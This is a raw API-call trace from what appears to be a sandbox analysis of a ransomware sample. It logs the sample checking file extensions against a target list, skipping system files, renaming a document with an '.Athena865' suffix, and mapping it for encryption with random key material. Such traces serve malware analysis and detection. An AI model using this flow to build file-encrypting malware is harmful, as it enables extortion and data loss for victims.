[0050.686] lstrlenW (lpString="accdc") returned 5 [0050.686] lstrcmpiW (lpString1=".pptx", lpString2="accdc") returned -1 [0050.686] lstrlenW (lpString="accde") returned 5 [0050.686] lstrcmpiW (lpString1=".pptx", lpString2="accde") returned -1 [0050.686] lstrlenW (lpString="accdr") returned 5 [0050.686] lstrcmpiW (lpString1=".pptx", lpString2="accdr") returned -1 [0050.687] lstrlenW (lpString="accdt") returned 5 [0050.687] lstrcmpiW (lpString1=".pptx", lpString2="accdt") returned -1 [0050.687] lstrlenW (lpString="accdw") returned 5 [0050.687] lstrcmpiW (lpString1=".pptx", lpString2="accdw") returned -1 [0050.687] lstrlenW (lpString="accft") returned 5 [0050.687] lstrcmpiW (lpString1=".pptx", lpString2="accft") returned -1 [0050.687] lstrlenW (lpString="adb") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1 [0050.687] lstrlenW (lpString="adb") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1 [0050.687] lstrlenW (lpString="ade") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="ade") returned 1 [0050.687] lstrlenW (lpString="adf") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="adf") returned 1 [0050.687] lstrlenW (lpString="adn") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="adn") returned 1 [0050.687] lstrlenW (lpString="adp") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="adp") returned 1 [0050.687] lstrlenW (lpString="alf") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="alf") returned 1 [0050.687] lstrlenW (lpString="ask") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="ask") returned 1 [0050.687] lstrlenW (lpString="btr") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="btr") returned 1 [0050.687] lstrlenW (lpString="cat") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="cat") returned 1 [0050.687] lstrlenW (lpString="cdb") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="cdb") returned 1 [0050.687] lstrlenW (lpString="ckp") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="ckp") returned 1 [0050.687] lstrlenW (lpString="cma") returned 3 [0050.687] lstrcmpiW (lpString1="ptx", lpString2="cma") returned 1 [0050.687] lstrlenW (lpString="cpd") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="cpd") returned 1 [0050.688] lstrlenW (lpString="dacpac") returned 6 [0050.688] lstrcmpiW (lpString1="Q.pptx", lpString2="dacpac") returned 1 [0050.688] lstrlenW (lpString="dad") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="dad") returned 1 [0050.688] lstrlenW (lpString="dadiagrams") returned 10 [0050.688] lstrcmpiW (lpString1="byDOQ.pptx", lpString2="dadiagrams") returned -1 [0050.688] lstrlenW (lpString="daschema") returned 8 [0050.688] lstrcmpiW (lpString1="DOQ.pptx", lpString2="daschema") returned 1 [0050.688] lstrlenW (lpString="db-journal") returned 10 [0050.688] lstrcmpiW (lpString1="byDOQ.pptx", lpString2="db-journal") returned -1 [0050.688] lstrlenW (lpString="db-shm") returned 6 [0050.688] lstrcmpiW (lpString1="Q.pptx", lpString2="db-shm") returned 1 [0050.688] lstrlenW (lpString="db-wal") returned 6 [0050.688] lstrcmpiW (lpString1="Q.pptx", lpString2="db-wal") returned 1 [0050.688] lstrlenW (lpString="dbc") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="dbc") returned 1 [0050.688] lstrlenW (lpString="dbs") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="dbs") returned 1 [0050.688] lstrlenW (lpString="dbt") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="dbt") returned 1 [0050.688] lstrlenW (lpString="dbv") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="dbv") returned 1 [0050.688] lstrlenW (lpString="dbx") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="dbx") returned 1 [0050.688] lstrlenW (lpString="dcb") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="dcb") returned 1 [0050.688] lstrlenW (lpString="dct") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="dct") returned 1 [0050.688] lstrlenW (lpString="dcx") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="dcx") returned 1 [0050.688] lstrlenW (lpString="ddl") returned 3 [0050.688] lstrcmpiW (lpString1="ptx", lpString2="ddl") returned 1 [0050.688] lstrlenW (lpString="dlis") returned 4 [0050.689] lstrcmpiW (lpString1="pptx", lpString2="dlis") returned 1 [0050.689] lstrlenW (lpString="dp1") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="dp1") returned 1 [0050.689] lstrlenW (lpString="dqy") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="dqy") returned 1 [0050.689] lstrlenW (lpString="dsk") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="dsk") returned 1 [0050.689] lstrlenW (lpString="dsn") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="dsn") returned 1 [0050.689] lstrlenW (lpString="dtsx") returned 4 [0050.689] lstrcmpiW (lpString1="pptx", lpString2="dtsx") returned 1 [0050.689] lstrlenW (lpString="dxl") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="dxl") returned 1 [0050.689] lstrlenW (lpString="eco") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="eco") returned 1 [0050.689] lstrlenW (lpString="ecx") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="ecx") returned 1 [0050.689] lstrlenW (lpString="edb") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="edb") returned 1 [0050.689] lstrlenW (lpString="epim") returned 4 [0050.689] lstrcmpiW (lpString1="pptx", lpString2="epim") returned 1 [0050.689] lstrlenW (lpString="fcd") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="fcd") returned 1 [0050.689] lstrlenW (lpString="fdb") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="fdb") returned 1 [0050.689] lstrlenW (lpString="fic") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="fic") returned 1 [0050.689] lstrlenW (lpString="flexolibrary") returned 12 [0050.689] lstrcmpiW (lpString1="psbyDOQ.pptx", lpString2="flexolibrary") returned 1 [0050.689] lstrlenW (lpString="fm5") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="fm5") returned 1 [0050.689] lstrlenW (lpString="fmp") returned 3 [0050.689] lstrcmpiW (lpString1="ptx", lpString2="fmp") returned 1 [0050.689] lstrlenW (lpString="fmp12") returned 5 [0050.690] lstrcmpiW (lpString1=".pptx", lpString2="fmp12") returned -1 [0050.690] lstrlenW (lpString="fmpsl") returned 5 [0050.690] lstrcmpiW (lpString1=".pptx", lpString2="fmpsl") returned -1 [0050.690] lstrlenW (lpString="fol") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="fol") returned 1 [0050.690] lstrlenW (lpString="fp3") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="fp3") returned 1 [0050.690] lstrlenW (lpString="fp4") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="fp4") returned 1 [0050.690] lstrlenW (lpString="fp5") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="fp5") returned 1 [0050.690] lstrlenW (lpString="fp7") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="fp7") returned 1 [0050.690] lstrlenW (lpString="fpt") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="fpt") returned 1 [0050.690] lstrlenW (lpString="frm") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="frm") returned 1 [0050.690] lstrlenW (lpString="gdb") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1 [0050.690] lstrlenW (lpString="gdb") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1 [0050.690] lstrlenW (lpString="grdb") returned 4 [0050.690] lstrcmpiW (lpString1="pptx", lpString2="grdb") returned 1 [0050.690] lstrlenW (lpString="gwi") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="gwi") returned 1 [0050.690] lstrlenW (lpString="hdb") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="hdb") returned 1 [0050.690] lstrlenW (lpString="his") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="his") returned 1 [0050.690] lstrlenW (lpString="ib") returned 2 [0050.690] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1 [0050.690] lstrlenW (lpString="idb") returned 3 [0050.690] lstrcmpiW (lpString1="ptx", lpString2="idb") returned 1 [0050.690] lstrlenW (lpString="ihx") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="ihx") returned 1 [0050.691] lstrlenW (lpString="itdb") returned 4 [0050.691] lstrcmpiW (lpString1="pptx", lpString2="itdb") returned 1 [0050.691] lstrlenW (lpString="itw") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="itw") returned 1 [0050.691] lstrlenW (lpString="jet") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="jet") returned 1 [0050.691] lstrlenW (lpString="jtx") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="jtx") returned 1 [0050.691] lstrlenW (lpString="kdb") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="kdb") returned 1 [0050.691] lstrlenW (lpString="kexi") returned 4 [0050.691] lstrcmpiW (lpString1="pptx", lpString2="kexi") returned 1 [0050.691] lstrlenW (lpString="kexic") returned 5 [0050.691] lstrcmpiW (lpString1=".pptx", lpString2="kexic") returned -1 [0050.691] lstrlenW (lpString="kexis") returned 5 [0050.691] lstrcmpiW (lpString1=".pptx", lpString2="kexis") returned -1 [0050.691] lstrlenW (lpString="lgc") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="lgc") returned 1 [0050.691] lstrlenW (lpString="lwx") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="lwx") returned 1 [0050.691] lstrlenW (lpString="maf") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="maf") returned 1 [0050.691] lstrlenW (lpString="maq") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="maq") returned 1 [0050.691] lstrlenW (lpString="mar") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="mar") returned 1 [0050.691] lstrlenW (lpString="marshal") returned 7 [0050.691] lstrcmpiW (lpString1="OQ.pptx", lpString2="marshal") returned 1 [0050.691] lstrlenW (lpString="mas") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="mas") returned 1 [0050.691] lstrlenW (lpString="mav") returned 3 [0050.691] lstrcmpiW (lpString1="ptx", lpString2="mav") returned 1 [0050.692] lstrlenW (lpString="maw") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="maw") returned 1 [0050.692] lstrlenW (lpString="mdbhtml") returned 7 [0050.692] lstrcmpiW (lpString1="OQ.pptx", lpString2="mdbhtml") returned 1 [0050.692] lstrlenW (lpString="mdn") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="mdn") returned 1 [0050.692] lstrlenW (lpString="mdt") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="mdt") returned 1 [0050.692] lstrlenW (lpString="mfd") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="mfd") returned 1 [0050.692] lstrlenW (lpString="mpd") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="mpd") returned 1 [0050.692] lstrlenW (lpString="mrg") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="mrg") returned 1 [0050.692] lstrlenW (lpString="mud") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="mud") returned 1 [0050.692] lstrlenW (lpString="mwb") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="mwb") returned 1 [0050.692] lstrlenW (lpString="myd") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="myd") returned 1 [0050.692] lstrlenW (lpString="ndf") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="ndf") returned 1 [0050.692] lstrlenW (lpString="nnt") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="nnt") returned 1 [0050.692] lstrlenW (lpString="nrmlib") returned 6 [0050.692] lstrcmpiW (lpString1="Q.pptx", lpString2="nrmlib") returned 1 [0050.692] lstrlenW (lpString="ns2") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="ns2") returned 1 [0050.692] lstrlenW (lpString="ns3") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="ns3") returned 1 [0050.692] lstrlenW (lpString="ns4") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="ns4") returned 1 [0050.692] lstrlenW (lpString="nsf") returned 3 [0050.692] lstrcmpiW (lpString1="ptx", lpString2="nsf") returned 1 [0050.693] lstrlenW (lpString="nv") returned 2 [0050.693] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1 [0050.693] lstrlenW (lpString="nv2") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="nv2") returned 1 [0050.693] lstrlenW (lpString="nwdb") returned 4 [0050.693] lstrcmpiW (lpString1="pptx", lpString2="nwdb") returned 1 [0050.693] lstrlenW (lpString="nyf") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="nyf") returned 1 [0050.693] lstrlenW (lpString="odb") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1 [0050.693] lstrlenW (lpString="odb") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1 [0050.693] lstrlenW (lpString="oqy") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="oqy") returned 1 [0050.693] lstrlenW (lpString="ora") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="ora") returned 1 [0050.693] lstrlenW (lpString="orx") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="orx") returned 1 [0050.693] lstrlenW (lpString="owc") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="owc") returned 1 [0050.693] lstrlenW (lpString="p96") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="p96") returned 1 [0050.693] lstrlenW (lpString="p97") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="p97") returned 1 [0050.693] lstrlenW (lpString="pan") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="pan") returned 1 [0050.693] lstrlenW (lpString="pdb") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="pdb") returned 1 [0050.693] lstrlenW (lpString="pdm") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="pdm") returned 1 [0050.693] lstrlenW (lpString="pnz") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="pnz") returned 1 [0050.693] lstrlenW (lpString="qry") returned 3 [0050.693] lstrcmpiW (lpString1="ptx", lpString2="qry") returned -1 [0050.694] lstrlenW (lpString="qvd") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="qvd") returned -1 [0050.694] lstrlenW (lpString="rbf") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="rbf") returned -1 [0050.694] lstrlenW (lpString="rctd") returned 4 [0050.694] lstrcmpiW (lpString1="pptx", lpString2="rctd") returned -1 [0050.694] lstrlenW (lpString="rod") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="rod") returned -1 [0050.694] lstrlenW (lpString="rodx") returned 4 [0050.694] lstrcmpiW (lpString1="pptx", lpString2="rodx") returned -1 [0050.694] lstrlenW (lpString="rpd") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="rpd") returned -1 [0050.694] lstrlenW (lpString="rsd") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="rsd") returned -1 [0050.694] lstrlenW (lpString="sas7bdat") returned 8 [0050.694] lstrcmpiW (lpString1="DOQ.pptx", lpString2="sas7bdat") returned -1 [0050.694] lstrlenW (lpString="sbf") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="sbf") returned -1 [0050.694] lstrlenW (lpString="scx") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="scx") returned -1 [0050.694] lstrlenW (lpString="sdb") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="sdb") returned -1 [0050.694] lstrlenW (lpString="sdc") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="sdc") returned -1 [0050.694] lstrlenW (lpString="sdf") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="sdf") returned -1 [0050.694] lstrlenW (lpString="sis") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="sis") returned -1 [0050.694] lstrlenW (lpString="spq") returned 3 [0050.694] lstrcmpiW (lpString1="ptx", lpString2="spq") returned -1 [0050.694] lstrlenW (lpString="te") returned 2 [0050.694] lstrcmpiW (lpString1="tx", lpString2="te") returned 1 [0050.694] lstrlenW (lpString="teacher") returned 7 [0050.695] lstrcmpiW (lpString1="OQ.pptx", lpString2="teacher") returned -1 [0050.695] lstrlenW (lpString="tmd") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="tmd") returned -1 [0050.695] lstrlenW (lpString="tps") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="tps") returned -1 [0050.695] lstrlenW (lpString="trc") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1 [0050.695] lstrlenW (lpString="trc") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1 [0050.695] lstrlenW (lpString="trm") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="trm") returned -1 [0050.695] lstrlenW (lpString="udb") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="udb") returned -1 [0050.695] lstrlenW (lpString="udl") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="udl") returned -1 [0050.695] lstrlenW (lpString="usr") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="usr") returned -1 [0050.695] lstrlenW (lpString="v12") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="v12") returned -1 [0050.695] lstrlenW (lpString="vis") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="vis") returned -1 [0050.695] lstrlenW (lpString="vpd") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="vpd") returned -1 [0050.695] lstrlenW (lpString="vvv") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="vvv") returned -1 [0050.695] lstrlenW (lpString="wdb") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="wdb") returned -1 [0050.695] lstrlenW (lpString="wmdb") returned 4 [0050.695] lstrcmpiW (lpString1="pptx", lpString2="wmdb") returned -1 [0050.695] lstrlenW (lpString="wrk") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="wrk") returned -1 [0050.695] lstrlenW (lpString="xdb") returned 3 [0050.695] lstrcmpiW (lpString1="ptx", lpString2="xdb") returned -1 [0050.695] lstrlenW (lpString="xld") returned 3 [0050.696] lstrcmpiW (lpString1="ptx", lpString2="xld") returned -1 [0050.696] lstrlenW (lpString="xmlff") returned 5 [0050.696] lstrcmpiW (lpString1=".pptx", lpString2="xmlff") returned -1 [0050.696] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\bDM-N-Hfz63KpsbyDOQ.pptx.Athena865") returned 91 [0050.696] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\bDM-N-Hfz63KpsbyDOQ.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\bdm-n-hfz63kpsbydoq.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\bDM-N-Hfz63KpsbyDOQ.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\bdm-n-hfz63kpsbydoq.pptx.athena865"), dwFlags=0x1) returned 1 [0050.696] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\bDM-N-Hfz63KpsbyDOQ.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\bdm-n-hfz63kpsbydoq.pptx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.696] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35456) returned 1 [0050.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.697] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.698] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.698] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.698] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d80, lpName=0x0) returned 0x17c [0050.698] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d80) returned 0x100000 [0050.699] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.700] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.700] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.700] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.701] CloseHandle (hObject=0x17c) returned 1 [0050.701] CloseHandle (hObject=0x154) returned 1 [0050.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.702] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ad73fb0, ftCreationTime.dwHighDateTime=0x1d52f26, ftLastAccessTime.dwLowDateTime=0x2d86eca0, ftLastAccessTime.dwHighDateTime=0x1d55394, ftLastWriteTime.dwLowDateTime=0x2d86eca0, ftLastWriteTime.dwHighDateTime=0x1d55394, nFileSizeHigh=0x0, nFileSizeLow=0x17024, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DE4p2jrvfdb77XYRN.xlsx", cAlternateFileName="DE4P2J~1.XLS")) returned 1 [0050.702] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.702] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.702] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2=".") returned 1 [0050.702] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="..") returned 1 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="windows") returned -1 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="bootmgr") returned 1 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="temp") returned -1 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="pagefile.sys") returned -1 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="boot") returned 1 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="ids.txt") returned -1 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="ntuser.dat") returned -1 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="perflogs") returned -1 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2="MSBuild") returned -1 [0050.703] lstrlenW (lpString="DE4p2jrvfdb77XYRN.xlsx") returned 22 [0050.703] lstrcpyW (in: lpString1=0x241e8ba, lpString2="DE4p2jrvfdb77XYRN.xlsx" | out: lpString1="DE4p2jrvfdb77XYRN.xlsx") returned="DE4p2jrvfdb77XYRN.xlsx" [0050.703] lstrlenW (lpString="DE4p2jrvfdb77XYRN.xlsx") returned 22 [0050.703] lstrlenW (lpString="Athena865") returned 9 [0050.703] lstrcmpiW (lpString1="XYRN.xlsx", lpString2="Athena865") returned 1 [0050.703] lstrlenW (lpString=".dll") returned 4 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2=".dll") returned 1 [0050.703] lstrlenW (lpString=".lnk") returned 4 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2=".lnk") returned 1 [0050.703] lstrlenW (lpString=".ini") returned 4 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2=".ini") returned 1 [0050.703] lstrlenW (lpString=".sys") returned 4 [0050.703] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx", lpString2=".sys") returned 1 [0050.703] lstrlenW (lpString="DE4p2jrvfdb77XYRN.xlsx") returned 22 [0050.703] lstrlenW (lpString="bak") returned 3 [0050.703] lstrcmpiW (lpString1="lsx", lpString2="bak") returned 1 [0050.703] lstrlenW (lpString="ba_") returned 3 [0050.703] lstrcmpiW (lpString1="lsx", lpString2="ba_") returned 1 [0050.703] lstrlenW (lpString="dbb") returned 3 [0050.703] lstrcmpiW (lpString1="lsx", lpString2="dbb") returned 1 [0050.703] lstrlenW (lpString="vmdk") returned 4 [0050.703] lstrcmpiW (lpString1="xlsx", lpString2="vmdk") returned 1 [0050.703] lstrlenW (lpString="rar") returned 3 [0050.703] lstrcmpiW (lpString1="lsx", lpString2="rar") returned -1 [0050.704] lstrlenW (lpString="zip") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="zip") returned -1 [0050.704] lstrlenW (lpString="tgz") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="tgz") returned -1 [0050.704] lstrlenW (lpString="vbox") returned 4 [0050.704] lstrcmpiW (lpString1="xlsx", lpString2="vbox") returned 1 [0050.704] lstrlenW (lpString="vdi") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="vdi") returned -1 [0050.704] lstrlenW (lpString="vhd") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="vhd") returned -1 [0050.704] lstrlenW (lpString="vhdx") returned 4 [0050.704] lstrcmpiW (lpString1="xlsx", lpString2="vhdx") returned 1 [0050.704] lstrlenW (lpString="avhd") returned 4 [0050.704] lstrcmpiW (lpString1="xlsx", lpString2="avhd") returned 1 [0050.704] lstrlenW (lpString="db") returned 2 [0050.704] lstrcmpiW (lpString1="sx", lpString2="db") returned 1 [0050.704] lstrlenW 